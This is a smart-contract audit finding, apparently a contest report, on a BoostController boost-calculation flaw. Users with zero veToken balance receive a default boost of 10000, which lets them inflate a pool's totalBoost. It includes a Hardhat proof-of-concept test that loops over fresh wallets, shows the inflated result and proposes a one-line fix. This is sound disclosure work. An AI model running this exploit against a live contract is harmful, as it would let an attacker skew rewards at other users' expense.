Summary
Users with no veToken balance can still call updateUserBoost, which leads to an inflated totalBoost for the pool by returning a fixed amount (10000) in the _calculateBoost function.
Vulnerability Details
When a user calls updateUserBoost inside BoostController.sol, the function calls _calculateBoost with a base amount of 10000:
uint256 newBoost = _calculateBoost(user, pool, 10000);
Inside _calculateBoost, if the user (msg.sender) has no veToken balance, the function returns the amount (which is 10000):
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
return amount;
}
As a result, the value of userBoost and poolBoost will be updated with 10000:
uint256 newBoost = _calculateBoost(user, pool, 10000);
userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}
Therefore, a user with a 0 veToken balance could increase their boost (userBoost) and totalBoost of a pool by 10000. If this is repeated for 100 addresses, the totalBoost can be inflated by 1,000,000, and all those 100 addresses will get 10000 as userBoost.
Proof of Concept
Please add the following test case to BoostController.test.js under Boost Calculations suite:
it("totalBoost increase with 0 ve balance", async () => {
const amount = ethers.parseEther("100");
const provider = ethers.provider;
const [totalBoostBefore,,,] = await boostController.getPoolBoost(mockPool.getAddress());
console.log("Total Boost Before:", totalBoostBefore.toString());
for (let i = 0; i < 20; i++) {
const randomWallet = ethers.Wallet.createRandom().connect(provider);
const fundTx = await owner.sendTransaction({
to: randomWallet.address,
value: ethers.parseEther("1.0")
});
await fundTx.wait();
const tx = await boostController.connect(randomWallet).updateUserBoost(randomWallet.address, mockPool.getAddress(), {
gasLimit: 5000000
});
await tx.wait();
}
const [totalBoostAfter,,,] = await boostController.getPoolBoost(mockPool.getAddress());
console.log("Total Boost After:", totalBoostAfter.toString());
});
Run the test:
npm run test:unit:governance -- --grep "totalBoost increase with 0 ve balance"
Result:
BoostController
Boost Calculations
Total Boost Before: 0
Total Boost After: 200000
✔ totalBoost increase with 0 ve balance (19899ms)
1 passing (28s)
Impact
A user with no veToken balance can inflate a pool's totalBoost by an arbitrary amount
Tools Used
Recommendations
Return 0 if the user has 0 veToken balance:
function _calculateBoost(
address user,
address pool,
uint256 amount
) internal view returns (uint256) {
if (amount == 0) revert InvalidBoostAmount();
if (!supportedPools[pool]) revert PoolNotSupported();
// Get current weights without modifying state
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
- return amount;
+ return 0;
}
// Create parameters struct for calculation
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: totalWeight,
totalVotingPower: totalVotingPower,
votingPower: votingPower
});
(uint256 boostBasisPoints, uint256 boostedAmount) = BoostCalculator.calculateTimeWeightedBoost(
params,
userBalance,
totalSupply,
amount
);
if (boostedAmount < amount) {
return amount;
}
uint256 maxBoostAmount = amount * MAX_BOOST / 10000;
if (boostedAmount > maxBoostAmount) {
return maxBoostAmount;
}
return boostedAmount;
}